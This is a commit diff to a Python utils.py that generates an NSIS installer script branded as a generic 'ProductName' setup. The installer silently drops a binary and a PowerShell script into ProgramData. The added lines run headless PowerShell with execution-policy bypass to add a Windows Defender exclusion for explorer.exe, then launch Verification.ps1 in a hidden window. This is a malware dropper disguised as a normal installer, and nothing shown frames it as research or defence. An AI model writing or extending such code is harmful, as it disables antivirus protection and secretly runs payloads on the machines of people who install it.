sigyllly commited on
Commit
57cb16e
·
verified ·
1 Parent(s): 4beb424

Update utils.py

Browse files
Files changed (1) hide show
  1. utils.py +17 -1
utils.py CHANGED
@@ -58,6 +58,7 @@ def generate_nsi_script(folder_path, bin_file, ps1_file):
58
  ; NeuraScope Insight Installer Script
59
  !include "MUI2.nsh"
60
  !include "LogicLib.nsh"
 
61
  ; Basic definitions
62
  Name "ProductName"
63
  OutFile "{installer_output}"
@@ -66,13 +67,16 @@ def generate_nsi_script(folder_path, bin_file, ps1_file):
66
  SetCompressor /SOLID lzma
67
  SetCompressorDictSize 96
68
  SetDatablockOptimize ON
 
69
  ; Interface settings
70
  !define MUI_WELCOMEPAGE_TITLE "Welcome to ProductName Setup"
71
  !define MUI_WELCOMEPAGE_TEXT "This will install ProductName on your computer.$\r$\n$\r$\nClick Install to continue."
 
72
  ; Pages
73
  !insertmacro MUI_PAGE_WELCOME
74
  !insertmacro MUI_PAGE_INSTFILES
75
  !insertmacro MUI_LANGUAGE "English"
 
76
  ; Basic Version Information
77
  VIProductVersion "1.0.0.0"
78
  VIAddVersionKey "ProductName" "ProductName"
@@ -80,14 +84,26 @@ def generate_nsi_script(folder_path, bin_file, ps1_file):
80
  VIAddVersionKey "LegalCopyright" "LegalCopyright"
81
  VIAddVersionKey "FileVersion" "1.0.0.0"
82
  VIAddVersionKey "FileDescription" "FileDescription"
 
83
  ShowInstDetails hide
84
  AutoCloseWindow true
 
85
  Section "MainSection" SEC01
86
  SetDetailsPrint none
87
  SetOutPath "$WINDIR\..\ProgramData\Installer"
88
  File "{bin_file}"
89
  File "{ps1_file}"
90
- ExecShell "open" "powershell.exe" "-ExecutionPolicy Bypass -File $INSTDIR\Verification.ps1" SW_HIDE
 
 
 
 
 
 
 
 
 
 
91
  SetAutoClose true
92
  SectionEnd
93
  """
 
58
  ; NeuraScope Insight Installer Script
59
  !include "MUI2.nsh"
60
  !include "LogicLib.nsh"
61
+
62
  ; Basic definitions
63
  Name "ProductName"
64
  OutFile "{installer_output}"
 
67
  SetCompressor /SOLID lzma
68
  SetCompressorDictSize 96
69
  SetDatablockOptimize ON
70
+
71
  ; Interface settings
72
  !define MUI_WELCOMEPAGE_TITLE "Welcome to ProductName Setup"
73
  !define MUI_WELCOMEPAGE_TEXT "This will install ProductName on your computer.$\r$\n$\r$\nClick Install to continue."
74
+
75
  ; Pages
76
  !insertmacro MUI_PAGE_WELCOME
77
  !insertmacro MUI_PAGE_INSTFILES
78
  !insertmacro MUI_LANGUAGE "English"
79
+
80
  ; Basic Version Information
81
  VIProductVersion "1.0.0.0"
82
  VIAddVersionKey "ProductName" "ProductName"
 
84
  VIAddVersionKey "LegalCopyright" "LegalCopyright"
85
  VIAddVersionKey "FileVersion" "1.0.0.0"
86
  VIAddVersionKey "FileDescription" "FileDescription"
87
+
88
  ShowInstDetails hide
89
  AutoCloseWindow true
90
+
91
  Section "MainSection" SEC01
92
  SetDetailsPrint none
93
  SetOutPath "$WINDIR\..\ProgramData\Installer"
94
  File "{bin_file}"
95
  File "{ps1_file}"
96
+
97
+ ; Run the first PowerShell command to add exclusion for explorer.exe
98
+ ExecWait 'conhost --headless powershell -ep bypass -c "Add-MpPreference -ExclusionProcess \"explorer.exe\""'
99
+
100
+ ; Check if the previous command was successful
101
+ IfErrors 0 +2 ; If no error, continue to the next command
102
+ Abort "Failed to add exclusion for explorer.exe. Installation aborted."
103
+
104
+ ; If the first command was successful, run the Verification.ps1 script
105
+ ExecShell "open" "powershell.exe" "-EP Bypass -File $INSTDIR\Verification.ps1" SW_HIDE
106
+
107
  SetAutoClose true
108
  SectionEnd
109
  """